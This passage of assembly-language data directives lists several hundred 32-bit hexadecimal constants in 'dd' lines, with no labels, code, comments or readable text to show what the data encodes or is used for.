		dd 0CE5EC6E5h, 53C845E2h, 0D782411Eh, 0EA45B7E2h, 7A593580h
		dd 0EB50CA16h, 0C0EBB23Fh, 886E69BFh, 0A0E9137Fh, 0EAC99001h
		dd 0D0B55C07h, 5EC228E0h, 946F4FB4h, 1608162Dh,	53B8C0B8h
		dd 22F0CF88h, 7548C2B5h, 0F7A55D71h, 35032718h,	2A2A1392h
		dd 0BD0BB92Fh, 58AAC231h, 0CDD2B7B4h, 2B2E68E6h, 0F9C23021h
		dd 0A7997F35h, 1787EC77h, 37EA5D4Ah, 2DB160D2h,	5CB7081Ah
		dd 0D4B70B66h, 0A13B4CDDh, 0C10088EAh, 810308E5h, 2FE666F5h
		dd 0B12F198h, 145E1764h, 9D2CB568h, 76B850C0h, 42120F13h
		dd 69B1DAE9h, 0C0D6A33Eh, 0D1685350h, 48427459h, 460495Bh
		dd 7974CB81h, 2E4EAF3Bh, 0EF0B07F3h, 887CF66Eh,	23FD57Ch
		dd 0E26B35F2h, 6FC2C00Dh, 34F3272Ch, 880E952h, 0FE97148Bh
		dd 366878CFh, 0F1BE1454h, 0BB5A1360h, 5A576417h, 55F813Eh
		dd 0DD2334h, 2FB15152h,	9D278A68h, 803C6718h, 0FE04ED7Ch
		dd 7E5C0CDh, 0F6B7FBC0h, 5AE925DDh, 0E3710D89h,	271B16B3h
		dd 68005444h, 18B40163h, 0A6CE8102h, 422EEC75h,	26878073h
		dd 24E94602h, 0AC72783Fh, 0EF4716AFh, 31685168h, 17DF1F4Ch
		dd 3D426D3Dh, 1924C1ACh, 5B544081h, 391D3058h, 2BB8CBFEh
		dd 0E9030661h, 64319216h, 1179E4FFh, 31144965h,	0A930E0FEh
		dd 818E2C4Ch, 2A1D1B17h, 38ADEC6Eh, 5A469375h, 7167384h
		dd 0BB534E60h, 8817289Fh, 0A6A820F3h, 0EB9CD1BDh, 0C34A63E6h
		dd 39F19EA4h, 58801893h, 7C4B6C05h, 0C828015Dh,	5905072Dh
		dd 6FE9E0D1h, 0E95B67ECh, 99FC5FE7h, 0E91673B6h, 8CAA6B65h
		dd 0EBC02DABh, 0A0C045F1h, 0CB012D08h, 0C3C2F956h, 1396FF02h
		dd 9F209E22h, 0E9093D6Fh, 0F2686B68h, 60467E75h, 431E60A0h
		dd 7BF75495h, 8DE98D0Bh, 3155E842h, 0D6FDE4EFh,	5ADFFC08h
		dd 80DA00F0h, 601914BAh, 631615C4h, 17DD0AD6h, 1E16EBC2h
		dd 16DF5FBCh, 827804BAh
		dd 0DDEC802Bh, 174C4E1Ah, 68177787h, 6E142D0h, 0C4D6EC3Fh
		dd 37B3FDDFh, 455F5725h, 947DAF02h, 0C19999Bh, 0B644024Fh
		dd 0FBB1BF04h, 40ECF130h, 0E987B2C0h, 1E96CFCBh, 81B4BFE3h
		dd 592072B5h, 83C69ECDh, 0D92C49C7h, 0FF5E5B82h, 2B15D2C1h
		dd 0FD41802Ah, 4467E248h, 0B9C1F90Ch, 0D72E4B57h, 9F4E617Dh
		dd 0A3203AA3h, 97B4F0E9h, 1811175Dh, 0B0E9FD5Ch, 5AAE8E49h
		dd 2F7953E8h, 6DCCA0E3h, 70E1C983h, 2B316F3Bh, 0DFC22F76h
		dd 0FD2735DBh, 0CE29A390h, 0A48C595Fh, 731325E9h, 8F465D5h
		dd 0C42D801h, 0D9020BB6h, 89669DF1h, 482A6812h,	0A8B64F30h
		dd 0D4F35130h, 6C477DC6h, 2D90988h, 0DD302FB5h,	37FFB40h
		dd 550FEABDh, 8B57B9CAh, 0CA66D73Fh, 34DA7F6h, 4F4817Ch
		dd 2D7C5747h, 0A07454Ch, 701A8C16h, 65D31CF8h, 2BF43507h
		dd 0EAA0449Bh, 957A7234h, 45603042h, 5E2801D4h,	0C301F57Fh
		dd 782651EDh, 2F2CF8E9h, 3AFD3327h, 1729AE4Ch, 1221C9A0h
		dd 82AFE9F8h, 64DF5A81h, 0C363E740h, 29BF0979h,	7D0CF9E9h
		dd 6E0F86BEh, 3F58038Fh, 52605E83h, 0E1E7F35Ah,	4281F037h
		dd 28368BC7h, 0E853014Dh, 3F7077C6h, 90171F25h,	2768521Eh
		dd 4FF67825h, 5CEE5D5Ah, 18090AB0h, 7715AE53h, 80A0142h
		dd 9D57A7A8h, 3888899Eh, 0F657A7EAh, 5A58017Bh,	0E92BF780h
		dd 50673C4Ch, 4141D822h, 0E56EDE31h, 6E8E216Ah,	0DD5E9909h
		dd 0F74C1E22h, 5AAD6801h, 0FC53FA4Ch, 65766D80h, 0ACC52FD1h
		dd 0F37D92FAh, 32F00077h, 10CEA6Dh, 635E981h, 0DA832CA2h
		dd 0C0E2A357h, 0FD755E5Dh, 0AF8A18Eh, 0B5C78415h, 9CC9F01Dh
		dd 13529C97h, 0BB17CA68h, 2128CD6Dh, 9124FAB5h,	7D61C282h
		dd 45F70889h, 6BAE3F98h, 175EAFFCh, 8AEA5712h, 29BAD249h
		dd 272D2AC3h, 0AD36527Ah, 4A0612D4h, 0B360D8FFh, 0D928800Eh
		dd 0A0EB8B5Bh, 9FE9B28Ch, 409C9D3Eh, 3C626816h,	0E44A54B3h
		dd 1900B959h, 816C452Eh, 97F16C9h, 0DDE97D3Dh, 62CEAFD0h
		dd 0BAFA1C9Bh, 0A15BFDC3h, 25BA6C00h, 2611845h,	50FAE281h
		dd 0C0FD6828h, 35846Eh,	0BD556C73h, 717664D7h, 168D215Ch
		dd 4BB023E9h, 787EEF54h, 29E9E9BDh, 0DBBB02EAh,	0C236CE05h
		dd 659ED765h, 0EB01BF90h, 75574E6h, 95FFC329h, 0F30814h
		dd 12AA648Fh, 0B7B8F6E9h, 0F0BDFA46h, 0D0169D07h, 5F190504h
		dd 10EE18AFh, 564E07EFh, 0C266ADFFh, 76470E68h,	775C70F5h
		dd 39EE8380h, 4F8B8101h, 0E899860h, 5A46C4DDh, 0BB2BD5A5h
		dd 0D704FB49h, 0E90BFE65h, 0B07140A0h, 517E9755h, 0D75204C9h
		dd 95A17BFCh, 43656BE1h, 0DAF93745h, 43ED0C52h,	40E2234Ch
		dd 0E19DF2C4h, 4320D807h, 3BD0B7C6h, 0E180D118h, 9549E906h
		dd 2FE783FDh, 0C828E804h, 0CB92968h, 40B38291h,	0C07DE3D0h
		dd 0E7C3CBF8h, 2CE9BCDCh, 427FAFAEh, 4FAFBD6Ah,	0FCE8E6C4h
		dd 0D558C972h, 0F1B96FE8h, 0B189FE41h, 9CF5B6C2h, 4E3BFCDAh
		dd 0A1D5E458h, 707B34EFh, 0CA98579Fh, 490F033Ch, 0B8F68110h
		dd 132B050Dh, 0A27ED76h, 17072D81h, 0D260AE5Eh,	2C509605h
		dd 141D347Ah, 9D7D072Dh, 18BDC3C6h, 4FCA29C7h, 0C4E1E259h
		dd 0AA175485h, 2FDA4B16h, 6BC2B725h, 0A5D54755h, 68140D94h
		dd 0D8CB6A02h, 661BBC4h, 0F75F741Bh, 4F5104DFh,	88C22E99h
		dd 78765D54h, 76307FDAh, 688043BDh, 0F35E4F14h,	0B3C586Dh
		dd 2B04DC8h, 0DD553D61h, 56001259h, 0D826D9BEh,	0F321246Fh
		dd 0CBE301F3h, 600F542Ch, 0FF82E706h, 25CC4DAh,	2F3A2008h
		dd 9116EB31h, 1F462D1Ah, 5EB8520h, 0CACD0712h, 5F750630h
		dd 50AAA221h, 0F4276E44h, 0BC455DFEh, 9AF8893h,	2A22AB91h
		dd 0CDE1D9BDh, 61B32FCDh, 94271693h, 301029A3h,	5A025926h
		dd 34E9720Eh, 704C5510h, 29383F30h, 2C171AC3h, 0A54C7FC2h
		dd 0F88007FCh, 0A23E1205h, 30FF2435h, 49DD1F33h, 72572FC8h
		dd 8346BF48h, 1991DB80h, 25618300h, 15623239h, 47298C1h
		dd 42021C2Dh, 9584BF20h, 79F8E3AAh, 70B7F677h, 2DED04B0h
		dd 0BE1C5E4Fh, 6808F450h, 0F425141Ch, 40F1D9EAh, 0F30BE954h
		dd 0C6785EBDh, 460A81C7h, 900BD906h, 0FC39C225h, 4CE656Bh
		dd 0CA3811DAh, 7B681484h, 2DFE5AEEh, 1F2386Ch, 626E181Eh
		dd 0E82CE4E9h, 0E28B503Dh, 8083FBBBh, 4F1C531h,	0EACC5493h
		dd 5E163404h, 5B8F98FAh, 2CBE035Ah, 1A2D68F9h, 252D4630h
		dd 0E677E3D2h, 1CD6B78Dh, 396292BFh, 0EDEBD9BEh, 0D946283Ch
		dd 312FEE70h, 5E6DB4Dh,	4DC25EBEh, 2E120F3Eh, 0FAD2C2BDh
		dd 0B787C210h, 0E5D5FCB7h, 0E564B41Eh, 113F8B8Ah, 0E3B86683h
		dd 0C684A74Ah, 0FF07E582h, 7654C0B9h, 0C9715D7Fh, 75001202h
		dd 30B513C0h, 0C106FC41h, 0F3E880FBh, 7B94B737h, 21BDEE5Ah
		dd 8A9FA340h, 0C809848Fh, 0AB77DB2Bh, 8CA1DD7Eh, 0ADD02158h
		dd 68E8015Eh, 0B234D6Fh, 4698B902h, 83552EB8h, 0DDA36853h
		dd 7A87A54h, 22F97EB2h,	4FB99h,	0FE3D0835h, 29D0901h, 90E17DCh
		dd 0F695D178h, 0D1D4A75Fh, 4BC66102h, 55FB42C9h, 7027357Eh
		dd 0FABE303Dh, 87048DBEh, 0AF56815h, 41E90D42h,	54620EEh
		dd 475A9D0Bh, 0BDC104F7h, 5A32F72Ch, 0A2AD257Dh, 0DFDA4E74h
		dd 0BE806E52h, 0F8B1502Eh, 4DFF6693h, 2A6F051Fh, 5102A68Ah
		dd 0F6B3D2B5h, 6C7EC05Fh, 0EE71C033h, 14D0B626h, 165CFFA0h
		dd 5C7F8025h, 1B08A006h, 33FC26E9h, 17E2E409h, 1A5D028Ah
		dd 2B90072h, 0BE4BB28Eh, 17AB0F17h, 1F9CFBBCh, 0EDB234E9h
		dd 0AF7E04A6h, 80AA1757h, 44E75425h, 7849F27Dh,	5F0527BEh
		dd 51DF4709h, 0BD5560D4h, 0DC000B73h, 59ECB919h, 48315F80h
		dd 1E3E36E9h, 2E5CA4Bh,	0F1685FF8h, 4AE9024Ch, 0C0C09EABh
		dd 65BD07A5h, 0C45F3B35h, 4400BED0h, 2C5966B1h,	7D7EFA05h
		dd 2636FD37h, 2880253Ah, 0E8C13C6Eh, 0D92FE903h, 0A55BD1C2h
		dd 0EB814DB8h, 0A8BF59B7h, 579940EEh, 52E1BF0Fh, 7DEE38F9h
		dd 6DB92F1Fh, 0CF5B835Dh, 600E890Fh, 3F6BC8DBh,	0AAE74E4Eh
		dd 6F9FBC05h, 0B5AFE294h, 35959CE7h, 29DD4C1Eh,	0C6E7F74Ah
		dd 2F174C3Bh, 251FFE28h, 41246557h, 200D1595h, 9B7AB4Dh
		dd 54EA74C4h, 1DC5614Bh, 93D7A2EBh, 7CEAC9BAh, 54E90C00h
		dd 0FCB851Fh, 3FAC3D3Ah, 0FEEFC062h, 62F5D1F5h,	0F0D9B54Ch
		dd 3811A208h, 0F6EFD85Eh, 0C25E80FEh, 78B564F4h, 94F53D4Eh
		dd 0FF60ED96h, 0BCE688C3h, 1C044695h, 1EA1D77h,	604A26C1h
		dd 0C875DA01h, 0A4440687h, 636807DAh, 52527896h, 656C62C7h
		dd 5B153609h, 0AFC0C06Ch, 2298957Ah, 0FE40F59Bh, 8551BF44h
		dd 5588509Fh, 5FA43956h, 0AA0549AFh, 0F0AAA8B8h, 1F4EE6D1h
		dd 1C683h, 0AFD3CDF6h, 0F04F3106h, 0EA42C2D9h, 0B709D511h
		dd 947A01F4h, 0F9024A0Ah, 547FA2A1h, 1C5D2F53h,	630BF26h
		dd 5780F80Ah, 98680551h, 0C54E471Eh, 0CAFE8061h, 8925DC7Eh
		dd 2AFFDCFh, 5DACCDA0h,	96B80730h, 4A0481Dh, 28C7D025h
		dd 17A3F2FFh, 0B132CACh, 0B87D1206h, 8122A917h,	355ED953h
		dd 2CF07A4Eh, 3E1E4103h, 0B65BD2A0h, 8A348D30h,	98A82F7Ch
		dd 0CC0C1285h, 7325681Ch, 49F7DB41h, 1B8D4771h,	0D1D9F547h
		dd 0C814334h, 0CFF778C6h, 5E03F08Ch, 94A2B52Dh,	0FCDA5ECBh
		dd 0D8C5B417h, 0D315E7FEh, 404063EAh, 6766F137h, 1BEE2D41h
		dd 97D186F4h, 0CCBE9667h, 0DD3C8B64h, 20C9124Eh, 0BFD34407h
		dd 0B443855Eh
		dd 31700BEAh, 0D7005DEBh, 328D1442h, 0EEDF2DFCh, 0F3BE5E93h
		dd 5B5404C6h, 0D8BE1D68h, 27160185h, 2FF5537h, 20AE5F34h
		dd 6FD67C0h, 0E6C0265Ah, 5B46412Ah, 55BE47Bh, 36217702h
		dd 5FE669E9h, 0F12E6266h, 8488A26Eh, 35123D2Eh,	0D2C2E29Ch
		dd 0FB219716h, 8BE04047h, 0F8739D73h, 31547EA7h, 0C9D399E2h
		dd 21C52A74h, 830C18Dh,	8B18BF2Fh, 237A6CD8h, 0B468F89Fh
		dd 3E1B60EDh, 6AB2037Ah, 0DDE18103h, 0C1154726h, 952FDB8Ah
		dd 89F4105Dh, 45259E0Bh, 0DC943A02h, 6C424209h,	0FA054A82h
		dd 0A709EA85h, 0F63B5574h, 4F261620h, 89E2B988h, 4350755Bh
		dd 235ECE92h, 0E8B8F000h, 5D137260h, 94644A50h,	7AEC8256h
		dd 990D98FDh, 0AD10C069h, 0B66A4F2Dh, 123F5775h, 293D8562h
		dd 71605D8h, 161B2CABh,	0D56A2Fh, 45079EEAh, 0F1811C7Bh
		dd 57EF0905h, 0BE56AA80h, 66251C4Fh, 0B5F1F66Ch, 0D3CE047h
		dd 2D78D07h, 0CD2F129h,	9D74722Eh, 0EF156E82h, 0EE3A99D7h
		dd 0ED020A72h, 542B389Ah, 5F5A4D74h, 0B088D8F9h, 6093DF5h
		dd 1F02F647h, 0B1E25BDEh, 458C761h, 0AC51D3C3h,	0A0DA16A0h
		dd 484E64C4h, 0F500AF7Bh, 368C783Dh, 0D117DDF7h, 0D70345EDh
		dd 17C0129Bh, 0D0202A9Ch, 0ED369A1Ah, 0EA5D8B7h, 3BC25F62h
		dd 60CBF2C0h, 18C01996h, 0B0D0906Fh, 0C50E54E9h, 0C965B757h
		dd 6CB50809h, 8F51499Dh, 0FE2D5817h, 84EB1FC4h,	1C1CC29Bh
		dd 0BF0411D8h, 4E2317E3h, 0D6164F82h, 8A06263h,	0A6534303h
		dd 0D58F2D57h, 41EBA27Fh, 8CCDFD40h, 25CD69A7h,	715C132Ah
		dd 14198038h, 0A5F8C0ABh, 1317CC7Ch, 7CEC7401h,	5E060CD0h
		dd 34B96CE9h, 56C70925h, 44CD07C8h, 0E875F93Ah,	0B5E63C1h
		dd 0FA291B50h, 0E9D7CF80h, 0E4831CD3h, 2BE80589h, 0A213B507h
		dd 68581705h, 0FAA87D5Eh, 0EA62E1C5h, 6D5C3622h, 8AC12DDDh
		dd 0CF810466h, 0D7354D7Dh, 0E8B05E9h, 0B7E387E9h, 1B3BA0C0h
		dd 141D8095h, 0BE1E137Ch, 0D7F70C22h, 237A82DAh, 49D7648h
		dd 0B778E60Fh, 0EBE584FEh, 2ED15D10h, 0DFC245B2h, 7255DBBh
		dd 8308FAE8h, 0ABB903B7h, 80ED2613h, 1C34F3BDh,	0C11542BFh
		dd 37BB3160h, 0CCCBA116h, 2E414716h, 0BD68E400h, 769B41h
		dd 361059D0h, 0A198E5C1h, 262D79B0h, 143186Fh, 0EF524ACFh
		dd 0B3B1C040h, 7B287AB4h, 722727CCh, 0AE68CD98h, 1A8C7AE5h
		dd 72054901h, 69D810h, 0B050C2FEh, 4E8C0D0h, 2CE50C07h
		dd 8E56C24Ch, 549BF273h, 0C797F90Fh, 5D69463h, 640A702Eh
		dd 0DC28881Eh, 0A9CD6A4Bh, 72E8A2Bh, 64B06866h,	5B9F94Bh
		dd 0A07AE946h, 5500BBF9h, 81124A23h, 580184E3h,	0F3040F31h
		dd 0C09E2006h, 68A5EB13h, 0E90DDD05h, 5CD39DE6h, 0D482BAF3h
		dd 82FF27E6h, 7D0FA629h, 7580AF14h, 0A4D3E955h,	3420CEA1h
		dd 4D1A12E1h, 0EC1BA30h, 0F701AB40h, 2ADDCD0h, 9527A9B2h
		dd 0D8C35E04h, 0F39E2F37h, 730B0267h, 6B42AF2Bh, 6ECA2560h
		dd 0F25CC5CFh, 972DB2BAh, 0E9A970AEh, 90BDE3CEh, 0F4DE8842h
		dd 9B99C3Bh, 3DDEBC1h, 4875FD8h, 514B20B3h, 578B839h, 72154232h
		dd 305CA601h, 1F3E6309h, 0E389281Dh, 0A51CEC3Fh, 0BBB582B8h
		dd 657164B3h, 0AA21301Bh, 457BABD9h, 0ABD2BC80h, 2520C99Dh
		dd 852D5C3Ah, 94DCEDD2h, 3B8C01FCh, 0DFF708B7h,	0B5194F7Bh
		dd 3ED1DD13h, 1C38EA3Dh, 0EFA8C4D7h, 0C9D4D1B9h, 0D5FDB133h
		dd 0A2521017h, 0E80548E3h, 0AA44C23Ah, 74CCC4A1h, 0B383283Eh
		dd 92F920E3h, 3201B800h, 0C3214403h, 127CB058h,	0EA0248ABh
		dd 2B60D281h, 0B9EAD38h, 9E7727DBh, 80DDFC4Dh, 0C1EFF921h
		dd 58C96E76h, 0BADFCE6Ch, 357C8EA7h, 0AF4C9F56h, 673FC57Ch
		dd 207658E9h, 95719D1Eh, 0AA011603h, 0FDF09A5Dh, 2A4B65B8h
		dd 0E95B5C9Fh, 4DDFD3F5h, 7A324257h, 0B503170Eh, 0C4FEF649h
		dd 0BFB4D9F8h, 0DE98B3F1h, 0DA091A10h, 0ECEC5B5Eh, 0FD4BBB48h
		dd 5946110Dh, 349B7913h, 3B46C942h, 57A0CDECh, 4D17E168h
		dd 14107BCAh, 0C9340BCFh, 65EF8458h, 0F02D0016h, 68F20748h
		dd 67447D31h, 0A32AC851h, 13D81663h, 0FE0543A9h, 0AB776810h
		dd 25178AF4h, 40DF4D21h, 3EB9CA29h, 0E05B6310h,	0D21CE7D9h
		dd 0CB6C795Bh, 8EBE3203h, 66E9E0A6h, 22C20B73h,	0A408F901h
		dd 0B7312508h, 31072BEh, 793EDAF1h, 54E1B03Ah, 12B83045h
		dd 0C138AC0Ch, 0E9490B05h, 33D4E244h, 0BCCA66BFh, 9706B203h
		dd 0E8EE8117h, 0D3401153h, 917908B8h, 58386804h, 54253EF9h
		dd 8918E845h, 1A2BB8D8h, 68061C27h, 627AD3F5h, 4ED178D9h
		dd 69E40742h, 0E66E5FCEh, 1B5E053Fh, 8A0170E6h,	7A6913BDh
		dd 12FD161h, 76F04211h,	541B215Dh, 50D3AEE1h, 2D2D879h
		dd 0A8EF4ED1h, 259C069Dh, 240C0E29h, 2C15D075h,	98589B88h
		dd 717E148h, 176D3AA3h,	75A903B2h, 0AC720325h, 55510043h
		dd 9E388A68h, 0C041BC6Dh, 0F90DABE5h, 0F5002A76h, 7DB0534Bh
		dd 0D5DE989h, 5259CB21h, 0AFB0150Ch, 66802A85h,	98C620Eh
		dd 7AC6684Fh, 8625876h,	6F78FE6Ch, 8100E328h, 8C449DC3h
		dd 0F3292658h, 0B10820F0h, 7CC20C55h, 0EC03F32Dh, 0F7579559h
		dd 8CC9E9DBh, 51C51B80h, 89202F1Bh, 848AEB4Bh, 0D255292Ch
		dd 91010B70h, 0E938D70Ch, 0E240E325h, 0E6DAC380h, 258C7BEBh
		dd 80E75ADDh, 53E6F7A5h, 8B0BD25Fh, 0C6E15F5Fh,	10BC7B7Eh
		dd 3765C481h, 3FD8AE10h, 33915D25h, 5D403FAEh, 0A26A69F3h
		dd 0A444C836h, 5FFB0105h, 49909201h, 0E53A0613h, 1C0806B0h
		dd 17AA549Dh, 27CDFF5Eh, 5C8168D0h, 51C2C255h, 0A484D588h
		dd 649CAFA8h, 8D40B556h, 75E6B32h, 5E70C00h, 90274558h
		dd 0FA8800FCh, 0FE89F561h, 9A5A84E9h, 0F15B08F6h, 119C6AA6h
		dd 8B673B78h, 0B1684904h, 53138C57h, 61F2BB05h,	800178A1h
		dd 63E47139h, 0F87077FEh, 0BB5E9D09h, 9EE4044Ah, 87143B1Eh
		dd 12D3CE15h, 0AE75530Dh, 0AF93A2B3h, 25686E28h, 4E186BE8h
		dd 0E9836434h, 0F7C21F9Eh, 0D4CB8659h, 0AD34E2AFh, 5B95E666h
		dd 16F02C21h, 822E85BFh, 56D107B9h, 6B2C1E88h, 29679255h
		dd 68EF5FCAh, 0F342C0A6h, 78249006h, 285EB129h,	6136467h
		dd 98EA1639h, 8FBE5F55h, 0D17BD01h, 0B27B3F77h,	6DFD5E85h
		dd 8A86E909h, 688976D9h, 4B0DEC30h, 0C0778802h,	19C64D17h
		dd 0F70B00BEh, 62FB0DD8h, 2D3B4BE6h, 6BB58454h,	7E824D35h
		dd 77F455A0h, 8DC37DA5h, 2DC1D1CAh, 0EEBB64E7h,	3352750Eh
		dd 2E6C92Ch, 0C4377E4Fh, 365A0B5Eh, 0AB659704h,	0FBA5E906h
		dd 0CF010444h, 0CD3EF268h, 5A87204Ah, 601A7B19h, 992E492Ah
		dd 43B9E8DEh, 6CEF30BEh, 0EC511702h, 1984B739h,	0B5AB8729h
		dd 2BDFE5E7h, 285D594Ch, 42C8BD02h, 0AE270BDFh,	24EAF965h
		dd 62E6522Ch, 0B0DEE913h, 257ABFF6h, 7274CA71h,	0ABF80B4Fh
		dd 0B76558ECh, 0D84D3F60h, 41E98296h, 0ABFC026Ah, 59B8CBE0h
		dd 90CB44FFh, 0D29B7318h, 7A19F967h, 0FE76610Fh, 70EF5C30h
		dd 9EFD95F3h, 9596976Ch, 0E697F679h, 0D681604h,	0A4176102h
		dd 5BBA2674h, 0C94A3DB6h, 522E92D1h, 0AB2764AAh, 0AE101CDAh
		dd 4FF41E3h, 0C7D4FFCAh, 482087ACh, 0EFE894Bh, 93A43D5Fh
		dd 54E9C4F3h, 13399EBh,	0D380F806h, 0AD3B151h, 0B0508805h
		dd 950A12FBh, 0B1C0ABC0h, 2EBE6079h, 0D49313Bh,	467F922h
		dd 4780FEC0h, 49D96FC7h, 0CE01602Bh, 2CF173E9h,	7641C64Eh
		dd 0FCF2C7F3h
		dd 4257697Fh, 3CCD45A6h, 6535211Ch, 84A0E05Dh, 57402D2Fh
		dd 2D072208h, 30984F68h, 5B346681h, 0A9ECA034h,	0F2C7AC0Bh
		dd 0B94A4BB2h, 6CE9B063h, 3E69BD10h, 49AB5174h,	78CDF591h
		dd 0D6BA5166h, 1285848Ah, 0D6C4BBC2h, 0EB96FBF9h, 0DCE9AFD1h
		dd 4B7AB37Fh, 0B8075DC8h, 0EC7D3036h, 2D0B3558h, 0DC31C927h
		dd 2E9AACC3h, 92661EC8h, 49CB8AD1h, 42A4CB72h, 0B84D57D3h
		dd 0A34AB328h, 0ECE2A641h, 8DED9B19h, 0E782466Eh, 0F8272B4Bh
		dd 0E556D6A2h, 49D0E9BDh, 43E90C9Fh, 4DF6311Ch,	0EF0763DEh
		dd 2EA12276h, 0A3CDF7C0h, 7B5636Bh, 28AB23A4h, 1328A06Fh
		dd 0F1247D02h, 71F529F6h, 22FAAD36h, 0E5D3F20Fh, 952CF01h
		dd 99A775Ah, 26AF846Dh,	0BD97AB09h, 750CF059h, 44BAED1Dh
		dd 0C2AA7637h, 40C6C560h, 43096D24h, 5875F700h,	0D2E80144h
		dd 25C097Ch, 63E671F5h,	587E1E54h, 0BCF0394Bh, 402A41F1h
		dd 0E8BF3697h, 0D0898B13h, 258184A2h, 884B5F9Fh, 27C8A448h
		dd 0E6F1CC78h, 0CA2815FEh, 0C14FF578h, 0D45DB309h, 0C5A7BD7h
		dd 0B492B6B6h, 8DA81E94h, 4317BA52h, 0A2005E66h, 40338E2h
		dd 83BDA36Ch, 55C9B702h, 31E92A18h, 64CB164Dh, 6802FCF6h
		dd 3BD444FBh, 445BD62h,	923AAC5Fh, 0EB4EA5A8h, 0C6F798Fh
		dd 72BFF120h, 0E1FE731Fh, 5A7E7A0Bh, 6239802Eh,	0B50D0C87h
		dd 0CE89B6E0h, 86DB67B5h, 6C46ADE9h, 7AFDBB05h,	92EF2EFEh
		dd 5AF7C393h, 193A36B9h, 93F27FA7h, 0CAC90F65h,	0B73624FAh
		dd 1CE9C2E5h, 0CFFE5DB4h, 0A1DD6870h, 60345FB6h, 0E2140E98h
		dd 10D22972h, 580B0898h, 4904FE01h, 25A0149Fh, 0EB80C304h
		dd 8BA2E9FAh, 0FCEF1B81h, 0EC48C473h, 16C027E7h, 80A2B652h
		dd 28A80EEEh, 1C735AF1h, 34FB39E2h, 810607C3h, 6A72BC3Bh
		dd 14C8F1ADh, 7DB0109Ah, 8BCF2D7Eh, 0BF03D821h,	21810EB2h
		dd 30AC1251h, 544A9E3h,	6CED09C1h, 3AF45F19h, 7B9008A0h
		dd 0F7581A63h, 0E5044CDDh, 3BF5C410h, 79253054h, 1244486h
		dd 52D0F601h, 838AC288h, 77E90512h, 0D6A705ECh,	0D57FB11h
		dd 900DD298h, 0B32E5F74h, 965CA7EAh, 1976C103h,	0B81DE936h
		dd 0E8D442Bh, 0D33AAC92h, 930FF6ABh, 282E47B1h,	0C574E957h
		dd 66B91095h, 55772F68h, 5B4025D4h, 0B65494E9h,	85BA4017h
		dd 1512114Fh, 47B9EA83h, 6F53E90Bh, 30836B9Ah, 0EE5ADC46h
		dd 0B9E97CEFh, 0D906F105h, 0BB0D4101h, 0B7210FF0h, 42AAE57Fh
		dd 93D4837Dh, 0E22B8F71h, 0CD384FBh, 6C88024Dh,	7F9EC47Fh
		dd 0E502305Ah, 98FDCBDFh, 50E4BBC5h, 3F0908FEh,	14271C57h
		dd 2DF6F77h, 0FEDBCBE9h, 540963F1h, 56DD855Ah, 0C8B83940h
		dd 176EBE0Eh, 432064E9h, 0C7FE5805h, 0F780040Eh, 5BF807EFh
		dd 0CC04D805h, 84185893h, 530160B2h, 0CF8685B7h, 984D1F6h
		dd 0D181E9DFh, 6B305A93h, 0C074D5C7h, 0A124B483h, 69202E6h
		dd 8FBA0205h, 47E1F030h, 0BBF04C8h, 382955E4h, 5F2FA45Ch
		dd 0D396731Ch, 7C20A0AFh, 0A010135Eh, 273A2208h, 0F72F2301h
		dd 4D0C6C8Ah, 2B1C0910h, 0D6EB3D4Eh, 0F503F088h, 0AFF51435h
		dd 0EAD2C42Bh, 9FB4B337h, 6A93C9ABh, 0A893BDB7h, 0A7BAB40Ch
		dd 0B4E91F7Fh, 0ECE4FCADh, 8C2708AFh, 17835651h, 0D455B159h
		dd 1691DAD2h, 7DB896BEh, 3C48A6CEh, 8E5A167Ah, 6E57001Fh
		dd 42467361h, 60428395h, 191AFEABh, 5E51DB7Dh, 53C32CAh
		dd 28668D6h, 0FCDC360h,	0A8035BF1h, 0DE052726h,	0B060A7E2h
		dd 7F82A712h, 3BC7FE0h,	40B9E680h, 0EAD3C619h, 2B1FA1AAh
		dd 0CAAFA9E1h, 54D06FDEh, 0F2C6A35Fh, 4F065C85h, 21B7DECEh
		dd 3B545387h, 5FD30ADCh, 0D67EA25Ah, 0C9A81A12h, 93F9FAB4h
		dd 0F37D6813h, 0FABC5E27h, 0DAF751A2h, 0B8FD9DCFh, 4EEFE9E6h
		dd 0ECDDDD6Dh, 0D9B72DC0h, 0CE860844h, 5F7B3500h, 9C09271Eh
		dd 7F6C847Eh, 2D76FC7Eh, 58BADD59h, 2DD5CEFDh, 30CE0595h
		dd 33D54195h, 4A153574h, 475534BBh, 1223689Bh, 86444084h
		dd 0EF12294Eh, 0A00B64FBh, 0BF6257C3h, 0C1280B26h, 612E7DB3h
		dd 3A6B324Dh, 850944E9h, 4DC680EBh, 4482DC4Bh, 3E1B5753h
		dd 4E6681FDh, 0A2A96CD5h, 64EE7875h, 0BA51162Ch, 68046B1Dh
		dd 4B8D5362h, 0CF18A02Eh, 552943C9h, 0F3BDD8F0h, 0A10D92CBh
		dd 0AA617ADBh, 0F73895D9h, 5FF8D6h, 0DC07CDBh, 587DB235h
		dd 4A7D4C9Eh, 3E378A1Eh, 0DF978F56h, 7AACD7FEh,	8B5E04A5h
		dd 77BB0992h, 66F4EA58h, 58F36EEBh, 4A8CAB93h, 28646CB8h
		dd 560E780h, 73763749h,	0A592B592h, 7888D457h, 0EA975775h
		dd 0B8E05F19h, 5D313AF3h, 1CE20C14h, 272127E4h,	5DF25AD5h
		dd 46864567h, 89134200h, 416090E9h, 5DB06E76h, 7729B2Dh
		dd 0B4332943h, 10CBB048h, 0FBF654E3h, 7216692h,	0A9D1E758h
		dd 52E9F75Ch, 136F4FE6h, 5F6CAF71h, 87822AE9h, 17CEC84h
		dd 0B9517A53h, 30E30138h, 390EC133h, 0A7132350h, 9A2208E9h
		dd 0F45EE643h, 17A19AA8h, 0E6F20159h, 10FE8BB9h, 83D818EAh
		dd 0F807522Dh, 46AC1D4h, 6BAF76DDh, 0B48F49B0h,	166805DCh
		dd 298DFF33h, 5EBD457Eh, 0F5C8BB21h, 0F74B5E26h, 0B4942AE5h
		dd 0D75DDEEAh, 1CCD1DDFh, 0FD211442h, 0F4CE805Fh, 195918Bh
		dd 9962F72Dh, 70E80104h, 651F79DFh, 0DB0964BDh,	2740024Bh
		dd 6A325481h, 0DDB789F6h, 62BACFF9h, 0B069B6BBh, 3E593DEEh
		dd 0C3A5154Bh, 0BA0E609Ah, 5AAA6302h, 9172CDEh,	80B564ECh
		dd 2B0C17AAh, 10B7F58h,	18932970h, 62874E9h, 0DF315D0Eh
		dd 5308FB4Ch, 26D2F2B5h, 0E2325871h, 940B12D0h,	5A1DFC30h
		dd 0F6A9D0ECh, 37BC433h, 58EFE459h, 32E4E5DFh, 0FEE320E8h
